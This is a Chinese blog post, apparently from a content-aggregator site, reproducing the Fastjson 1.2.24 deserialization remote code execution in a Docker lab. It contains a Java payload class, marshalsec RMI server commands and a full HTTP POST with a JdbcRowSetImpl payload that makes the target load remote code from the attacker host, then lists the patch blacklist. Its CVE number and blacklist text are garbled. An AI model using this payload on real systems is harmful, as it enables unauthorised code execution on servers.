失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE--18349)

FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE--18349)

时间:2020-08-05 12:05:05

相关推荐

FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE--18349)

#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE--18349)#

一、漏洞简介

Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

二、漏洞影响

影响版本

Fastjson<1.2.25

三、产生原因

@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。

TemplatesImpl中存在一个反序列化利用链,在反序列化过程中,如果该类的getOutputProperties()方法被调用,即可成功触发代码执行漏洞。

TemplatesImpl类_outputProperties成员变量的getter方法满足被调用条件。无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法。

由此可见:FastJson在反序列化TemplatesImpl类时会恰好触发TemplatesImpl类的getOutputProperties()方法;TemplatesImpl类的getOutputProperties()方法被触发就会引起反序列化代码执行漏洞。

四、复现过程

docker 靶机:192.168.111.137

攻击机 kali:192.168.111.136

靶场环境:FastJson 1.2.24

环境搭建好后访问192.168.111.137:8090,显示页面如下:

exp:

先将需要执行的java代码编译成class字节码文件,供靶机远程调用

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

使用Java反序列化利用工具marshalsec辅助开启RMI环境

marshalsec:

git clone /mbechler/marshalsec

maven:

apt-get install maven

借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999

开启http服务:

python -m SimpleHTTPServer 1234

发送POC,反弹shell

POST / HTTP/1.1Host: 192.168.111.137:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 167{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.111.136:9999/TouchFile","autoCommit":true}}

运行payload,成功后,服务端响应码500。

在监听端口查看到已建立连接。

进入靶机查看命令是否执行成功,输入命令进入FastJson环境容器执行bash:

查看容器id

docker ps

执行以下命令查看远程命令是否被执行:

docker exec -it 01d4680e6d12 /bin/bash

success已被创建,复现成功。

复现过程中遇到的坑:JDK版本问题。

由于jdk:8u102没有com.sun.jndi.rmi.object.trustURLCodebase的限制,改为jdk:8u102或以下版本后复现成功。

五、修复方案

在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名与黑名单一一比较,如果发现了相同开头的类就停止反序列化。

// 新增的黑名单bshcom.mchangecom.sun.java..Socketjava.rmijavax.xmlorg.apache.mons.mons.collections.mons.collections.mons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

可以看到绝大部分常用的类都已经被加进来了,但是如果不经常维护此名单,一旦后面出现了新的可以利用的类,很容易就绕过这个限制。

六、参考链接

Fastjson1.2.24漏洞复现详细过程

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

marshalsec下载地址

标签

CVE--18349、FastJson、反序列化、命令执行

如果觉得《FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE--18349)》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。